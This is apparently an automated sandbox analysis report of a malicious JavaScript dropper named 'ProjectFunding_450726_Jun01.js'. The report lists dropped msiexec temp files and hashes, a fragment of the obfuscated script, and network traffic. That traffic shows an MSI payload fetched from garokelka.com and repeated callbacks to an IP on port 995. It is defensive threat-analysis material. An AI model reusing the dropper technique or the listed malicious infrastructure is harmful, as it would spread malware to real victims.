SHA-256:	EF05DA126890FDB6C62846C7BD1B2A9767686A95270E29ACEFF26C1C9DB0811E
SHA-512:	8A9CD27016CEE5D1B1234B5DC17335DD44C70C107ACC1BD07DFC90A55F2AA59353495806010D4A3F67C2E8D5FEEE07308137EA9447F0B1F86396D30024D84431
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8619ED3253D39042.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF883F1083607F70C3.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF95BD744A4429F4FF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2175273904956243
Encrypted:	false
SSDEEP:	48:rsRuLAMFFXOTT5lQ+WIWGMS59z7uSiWoJGMSI818lJMOp:IRoOT0+2Q/WF9MOp
MD5:	2447547B4D14FFCBA21C742B5C25754A
SHA1:	050B5D5F9CCC9C2B1012FCAE76FF9C17CD73E86C
SHA-256:	EF05DA126890FDB6C62846C7BD1B2A9767686A95270E29ACEFF26C1C9DB0811E
SHA-512:	8A9CD27016CEE5D1B1234B5DC17335DD44C70C107ACC1BD07DFC90A55F2AA59353495806010D4A3F67C2E8D5FEEE07308137EA9447F0B1F86396D30024D84431
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB376DA478E956195.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5153161959760162
Encrypted:	false
SSDEEP:	48:98PhpuRc06WXOCFT50Q+WIWGMS59z7uSiWoJGMSI818lJMOp:ghp1UFT9+2Q/WF9MOp
MD5:	266A7251130E83E056D847C54D27008F
SHA1:	8BD2ECEF2C1A9B0041B11E38AEAF2E1430D3B54D
SHA-256:	E97AC3B1BFB593699A3CBDA187858EF21F5D808A13CDC086ED913470ADE5CC42
SHA-512:	3CB622938D0B8CC543C4392C3FBD9801242228E1708694F97FAD3B8460409D889F54FE4DC88410D6D0D75612F5CE622E7F31AC8EF70C5382781039C137B80297
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFBDB1CFA03CBC6FC5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5153161959760162
Encrypted:	false
SSDEEP:	48:98PhpuRc06WXOCFT50Q+WIWGMS59z7uSiWoJGMSI818lJMOp:ghp1UFT9+2Q/WF9MOp
MD5:	266A7251130E83E056D847C54D27008F
SHA1:	8BD2ECEF2C1A9B0041B11E38AEAF2E1430D3B54D
SHA-256:	E97AC3B1BFB593699A3CBDA187858EF21F5D808A13CDC086ED913470ADE5CC42
SHA-512:	3CB622938D0B8CC543C4392C3FBD9801242228E1708694F97FAD3B8460409D889F54FE4DC88410D6D0D75612F5CE622E7F31AC8EF70C5382781039C137B80297
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC37A16C50B7C8BD7.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFD99EF38F4A03F6CF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (1337), with CRLF line terminators
Entropy (8bit):	5.540540865355687
TrID:
File name:	ProjectFunding_450726_Jun01.js
File size:	1400
MD5:	a657553449746c482dacfe3b19119b7a
SHA1:	630b815d443f8f7ef7e4c4c7c100de1cd8a7ed53
SHA256:	44e029dd6210c4906a82e1f16dd5ebed434efd225dafb92fc560e6ff6d1ee948
SHA512:	dea33536a5c5fe279ca1a8a3d4639be0f49d5ca3c21f4cbbda10c5d059837c2bc4c3917cdbddd0fc9f4a0773f325369b200f0df8e0035da6afab26f09502c321
SSDEEP:	24:5PyzicY1VBFAMhY1VBcrFKW/KOXNY5vevO7VoYDT2ADpBiW+bDwi8H9i3VIwmq2O:54MZr5FYNOlyDpB2bDwVH9KVMq2YGfBK
TLSH:	EB21BE1708699DBC25F78BC52F0C5C81F0FFC2B2DAD4C4335851C88A4089A9AEE2587D
File Content Preview:	// quapqospufftqhkzhpufbasppgs..var _$_cdc5=(function(_0x1CEE1,_0x1CE96){var _0x1D184=_0x1CEE1.length;var _0x1D00D=[];for(var _0x1CE4B=0;_0x1CE4B< _0x1D184;_0x1CE4B++){_0x1D00D[_0x1CE4B]= _0x1CEE1.charAt(_0x1CE4B)};for(var _0x1CE4B=0;_0x1CE4B< _0x1D184;_0

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 18:06:37.556247950 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:37.556328058 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:37.556574106 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:37.562053919 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:37.562086105 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:37.677259922 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:37.677373886 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:37.681977987 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:37.681996107 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:37.684689999 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:37.726300001 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:37.857539892 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:37.900295019 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.046196938 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.046225071 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.046243906 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.046263933 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.046293974 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.046325922 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.046353102 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.046375036 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.046391964 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.046391964 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.046411037 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.046413898 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.046477079 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.046477079 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.076159000 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.076198101 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.076364994 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.076392889 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.076478958 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.076684952 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.076714039 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.076843977 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.076860905 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.077159882 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.077605009 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.077632904 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.077871084 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.077886105 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.078963041 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.105827093 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.105868101 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.106095076 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.106143951 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.106179953 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.106287003 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.106287003 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.106463909 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.106511116 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.106596947 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.106614113 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.121243954 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.121306896 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.121459007 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.121603012 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.121603012 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.121633053 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.121756077 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.136962891 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.137041092 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.137295961 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.137310982 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.137310982 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.137351036 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.137387991 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.137473106 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.137473106 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.137497902 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.137666941 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.137725115 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.137831926 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.137831926 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.137868881 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.138067007 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.138104916 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.138245106 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.138360023 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.138360023 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.138367891 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.138392925 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.138427019 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.138489962 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.138504028 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.138504028 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.138535976 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.138632059 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.138632059 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.140193939 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.151086092 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.151137114 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.151225090 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.151612997 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.151660919 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.151747942 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.151747942 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.151801109 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.151954889 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.151982069 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.152019978 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.152096987 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.152096987 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.152111053 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.152379036 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.152409077 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.152445078 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.152457952 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.152565002 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.152565002 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.167850018 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.167892933 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.168170929 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.168235064 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.168312073 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.168312073 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.168332100 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.168368101 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.168396950 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.168396950 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.168842077 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.169532061 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.169533014 CEST	49719	443	192.168.2.5	217.195.153.225
Jun 1, 2023 18:06:38.169559002 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:06:38.169573069 CEST	443	49719	217.195.153.225	192.168.2.5
Jun 1, 2023 18:09:39.345444918 CEST	49721	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:39.345499039 CEST	443	49721	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:39.345592022 CEST	49721	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:39.365343094 CEST	49721	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:39.365370035 CEST	443	49721	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:39.878751040 CEST	443	49721	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:39.878936052 CEST	49721	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:40.625106096 CEST	49721	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:40.625137091 CEST	443	49721	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:40.625720978 CEST	443	49721	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:40.625835896 CEST	49721	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:40.627865076 CEST	49721	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:40.668292046 CEST	443	49721	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:40.786601067 CEST	443	49721	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:40.786834002 CEST	49721	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:43.158385992 CEST	49723	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:43.158464909 CEST	443	49723	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:43.158555984 CEST	49723	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:43.158956051 CEST	49723	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:43.158987045 CEST	443	49723	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:43.661518097 CEST	443	49723	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:43.661737919 CEST	49723	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:43.662590981 CEST	49723	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:43.662617922 CEST	443	49723	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:43.666127920 CEST	49723	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:43.666146040 CEST	443	49723	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:43.823580980 CEST	443	49723	96.114.21.40	192.168.2.5
Jun 1, 2023 18:09:43.823781013 CEST	49723	443	192.168.2.5	96.114.21.40
Jun 1, 2023 18:09:44.619020939 CEST	49726	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:09:47.625669003 CEST	49726	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:09:53.641788960 CEST	49726	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:10:00.820090055 CEST	49727	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:10:03.830117941 CEST	49727	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:10:09.830800056 CEST	49727	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:10:19.225068092 CEST	49728	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:10:22.238204002 CEST	49728	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:10:28.238490105 CEST	49728	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:10:35.273619890 CEST	49729	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:10:38.286247015 CEST	49729	995	192.168.2.5	105.184.209.194
Jun 1, 2023 18:10:44.286750078 CEST	49729	995	192.168.2.5	105.184.209.194

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 18:06:37.511677980 CEST	51484	53	192.168.2.5	8.8.8.8
Jun 1, 2023 18:06:37.540517092 CEST	53	51484	8.8.8.8	192.168.2.5
Jun 1, 2023 18:09:39.249587059 CEST	56751	53	192.168.2.5	8.8.8.8
Jun 1, 2023 18:09:39.278398991 CEST	53	56751	8.8.8.8	192.168.2.5
Jun 1, 2023 18:09:40.863815069 CEST	55039	53	192.168.2.5	8.8.8.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 1, 2023 18:06:37.511677980 CEST	192.168.2.5	8.8.8.8	0x9100	Standard query (0)	garokelka.com	A (IP address)	IN (0x0001)	false
Jun 1, 2023 18:09:39.249587059 CEST	192.168.2.5	8.8.8.8	0xc398	Standard query (0)	xfinity.com	A (IP address)	IN (0x0001)	false
Jun 1, 2023 18:09:40.863815069 CEST	192.168.2.5	8.8.8.8	0x12cc	Standard query (0)	www.xfinity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 1, 2023 18:06:37.540517092 CEST	8.8.8.8	192.168.2.5	0x9100	No error (0)	garokelka.com		217.195.153.225	A (IP address)	IN (0x0001)	false
Jun 1, 2023 18:09:39.278398991 CEST	8.8.8.8	192.168.2.5	0xc398	No error (0)	xfinity.com		96.114.21.40	A (IP address)	IN (0x0001)	false
Jun 1, 2023 18:09:39.278398991 CEST	8.8.8.8	192.168.2.5	0xc398	No error (0)	xfinity.com		96.114.14.140	A (IP address)	IN (0x0001)	false
Jun 1, 2023 18:09:39.278398991 CEST	8.8.8.8	192.168.2.5	0xc398	No error (0)	xfinity.com		68.87.41.40	A (IP address)	IN (0x0001)	false
Jun 1, 2023 18:09:40.892581940 CEST	8.8.8.8	192.168.2.5	0x12cc	No error (0)	www.xfinity.com	www.xfinity.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

garokelka.com

xfinity.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49719	217.195.153.225	443	C:\Windows\System32\msiexec.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-01 16:06:37 UTC	0	OUT	GET /yjxcii.msi HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows Installer Host: garokelka.com
2023-06-01 16:06:38 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 01 Jun 2023 16:06:37 GMT Content-Type: application/octet-stream Content-Length: 413696 Connection: close Accept-Ranges: bytes Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Disposition: attachment;
2023-06-01 16:06:38 UTC	0	IN	Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 04 00 fe ff 0c 00 06 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 00 10 00 00 02 00 00 00 01 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: >
2023-06-01 16:06:38 UTC	16	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2023-06-01 16:06:38 UTC	32	IN	Data Raw: 0b 4c 4a 6b 87 d9 14 b4 28 23 57 d0 b1 27 3b 27 74 68 1c da 90 fe ed 63 1e dd 88 dc 74 7b b7 53 75 d7 c6 8d a8 3c 2b 7f a4 80 3f 52 4a 7c 73 5c a0 3b b4 37 94 c9 ea ac 3b 7c d4 45 7f 15 27 32 02 5b 74 15 f6 81 29 32 6f 3f be 54 5b f3 9a bd 1d 56 d7 82 10 47 6c a2 a5 2a bd ad f3 a7 a0 bb 9e 20 dc 2d de e2 33 18 e9 2a c5 25 6e a2 53 ed fc ab 21 b4 82 5f 20 6a 69 01 f5 34 0c 28 91 7d 25 8b 42 02 f0 e9 37 da ab 90 0f 10 db af 94 fa a0 db 4c ca f9 81 02 fc b3 36 8a 79 54 95 f7 e2 a8 28 d9 b5 36 49 62 7c d7 c1 03 df cd d8 b0 71 f3 bf 24 7a d8 2a 8c 93 97 10 95 95 5f fd 28 e3 fc b1 f3 90 79 c2 a1 5c 89 d0 43 a7 83 75 48 f2 ce 67 38 0c 25 49 1b f6 6a f8 c3 a1 27 34 11 ed 46 7d 7b 9d 71 fe 2d ff 93 f1 1b e4 32 57 40 47 af c5 dd 66 14 c9 0a 5f a3 38 2a c1 4d 58 c1 Data Ascii: LJk(#W';'thct{Su<+?RJ\|s\;7;\|E'2[t)2o?T[VGl* -3%nS!_ ji4(}%B7L6yT(6Ib\|q$z_(y\CuHg8%Ij'4F}{q-2W@Gf_8*MX
